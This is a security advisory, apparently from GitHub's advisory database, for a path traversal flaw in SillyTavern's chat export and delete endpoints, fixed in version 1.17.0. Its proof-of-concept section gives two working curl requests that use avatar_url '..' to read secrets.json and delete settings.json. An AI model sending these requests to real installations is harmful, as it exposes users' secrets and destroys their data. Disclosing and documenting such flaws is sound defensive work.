GHSA-vprr-q85p-79mf

Suggest an improvement
Source
https://github.com/advisories/GHSA-vprr-q85p-79mf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vprr-q85p-79mf/GHSA-vprr-q85p-79mf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vprr-q85p-79mf
Aliases
Published
2026-04-01T21:41:48Z
Modified
2026-04-06T17:36:56Z
Severity
  • 8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
Summary
SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
Details

Summary

A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".

Details

The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...

Evidence:

Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.

PoC

Prerequisites:

  • Valid authenticated session cookie (cookie.txt)
  • Valid CSRF token ($TOKEN)

Read sensitive file (secrets.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
  http://TARGET:8000/api/chats/export

Delete sensitive file (settings.json):

curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","chatfile":"settings.json"}' \
  http://TARGET:8000/api/chats/delete

Impact

  • Confidentiality: exposed per-user secrets and config data.
  • Integrity/Availability: attacker can delete critical per-user files and break account operation.
  • Risk is significant in multi-user or remotely reachable deployments.

Resolution

The issue was addressed in version 1.17.0

Database specific
{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:41:48Z",
    "nvd_published_at": "2026-04-02T18:16:29Z",
    "severity": "HIGH"
}
References

Affected packages

npm / sillytavern

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.17.0

Database specific

last_known_affected_version_range
"<= 1.16.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vprr-q85p-79mf/GHSA-vprr-q85p-79mf.json"